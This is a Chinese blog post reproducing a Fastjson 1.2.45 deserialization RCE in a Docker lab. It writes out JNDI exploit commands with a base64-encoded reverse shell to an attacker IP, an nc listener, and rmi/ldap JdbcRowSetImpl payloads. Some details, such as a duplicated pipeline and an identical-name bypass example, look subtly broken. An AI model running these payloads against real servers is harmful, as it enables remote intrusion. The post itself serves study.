Fastjson漏洞复现上

admin 2026-04-07 00:38:52 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析Fastjson反序列化漏洞原理,指出AutoType机制在反序列化时会自动加载@type指定类,攻击者可通过恶意类路径实现远程代码执行。文章对比了1.2.24至1.2.83等版本的漏洞特性,并以1.2.45版本为例演示完整复现流程,包括环境搭建、版本探测、JNDI注入利用及高版本JDK绕过方法,提供具体Payload和命令操作指导。 综合评分: 87 文章分类: 漏洞分析,WEB安全,渗透测试,红队,安全工具


cover_image

Fastjson漏洞复现上

web安全小白 web安全小白

web安全小白

2026年4月6日 14:07 贵州

基础概念

「1.什么是 JSON?」

JSON全称 JavaScript Object Notation。

是一种轻量级的数据交换格式,采用键值对方式组织数据。

本质上就是一个字符串,便于在网络间传输和存储。

「2. 什么是 Fastjson?」

由阿里巴巴开源的 Java JSON 解析库。

主要提供两大功能:

序列化:将 Java 对象转换为 JSON 字符串。

反序列化:将 JSON 字符串还原为 Java 对象。

「3. 为什么会有漏洞?」

  • Fastjson 引入了 AutoType 机制,用于在序列化时通过 @type 字段记录类的完整名称。
  • 反序列化时,Fastjson 会自动加载并实例化 @type 指定的类。
  • 如果后端没有对 @type 内容进行严格过滤或校验,攻击者可以构造恶意类路径,诱导服务器加载并执行攻击代码,最终造成远程代码执行(RCE)。

「一句话总结漏洞原理:」

Fastjson 在反序列化时会自动执行 @type 指定类中的 setter / getter 方法。攻击者可利用恶意类(如JdbcRowSetImpl)触发 JNDI 注入、字节码加载或反射命令执行,从而实现远程代码执行。

「流量特征:」

请求体中包含 @type 字段,并带有完整类路径。

请求头 Content-Type: application/json。

「各 Fastjson 版本漏洞的核心特性与利用关键点:」

| Fastjson 版本 | 漏洞核心特点 | 利用关键说明 | | — | — | — | | 「1.2.24 及以下」 | 默认 AutoType 开启,无强黑名单 | 原生 JdbcRowSetImpl JNDI 注入可直接利用,RCE 稳定 | | 「1.2.42」 | 黑名单首次引入但可绕过 | 需使用 L 前缀格式绕过黑名单校验(如 Lcom.sun.rowset.JdbcRowSetImpl;) | | 「1.2.48」 | 引入基础白名单,但仍存在绕过 | 可通过双写类名(如 com.sun.rowset.JdbcRowSetImpl → com.sun.rowset.JdbcRowSetImpl...)绕过校验 | | 「1.2.68」 | 原生利用链大幅受限 | 依赖 Shiro 等第三方漏洞组件联动,间接实现 RCE | | 「1.2.83+」 | 基础防护已较为完善 | 原生链基本不可用,仅限小众、特定场景或配置缺陷下可触发 |

FastJson 1.2.45

下载地址:https://github.com/lemono0/FastJsonParty

环境启动:

docker compose up -d

1245-jndi

「示例漏洞:」http://www.loveli.com.cn/see_bug_one?id=52

1.访问靶场后需要自己构造数据包进行漏洞复现

2.数据包构造为JSON格式

3.进行Fastjson版本探测

3.通过探测可知版本为1.2.45

4.进行出网测试

「预期结果」

  • 如果返回 autoType is not support:autoType 关闭,常规 JNDI 注入不可用
  • 如果返回 500 或有 DNS 请求:autoType 开启,可使用 JNDI 注入

5.通过测试可知服务器是出网的

6.寻找poc进行漏洞利用

7.服务器执行

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS41NC82NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.241.54"

-C 需要执行的命令

-A 自己的服务器地址

8.服务器建立监听

nc -lvnp 666

9.构造payload进行攻击

{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.241.54:9527/kecntp",        "autoCommit":true    }}

1245-jdk8u342

「Java版本限制」

基于rmi的利用方式:适用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前;

在jdk8u122的时候,加了反序列化白名单的机制,关闭了rmi远程加载代码;

基于ldap的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前;

在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。

通过对比可知ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

因为当前环境JNDI注入在JDK8u191之后受到了极大限制,所以这里需要绕过JDK高版本。

执行反弹shell命令

java -jar JNDIBypass.jar -a 192.168.241.54 -p 9527 -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS41NC82NjYgMD4mMQ==}|{base64,-d}|{bash,-i}|{base64,-d}|{bash,-i}"

服务器建立监听

nc -lvnp 666

构造payload进行攻击

{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"ldap://192.168.241.54:9527/ZQsef",        "autoCommit":true    }}

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:web安全小白 web安全小白 web安全小白《Fastjson漏洞复现上》

Fastjson漏洞复现上 网络安全文章

Fastjson漏洞复现上

文章总结: 本文详细分析Fastjson反序列化漏洞原理,指出AutoType机制在反序列化时会自动加载@type指定类,攻击者可通过恶意类路径实现远程代码执行
评论:0   参与:  0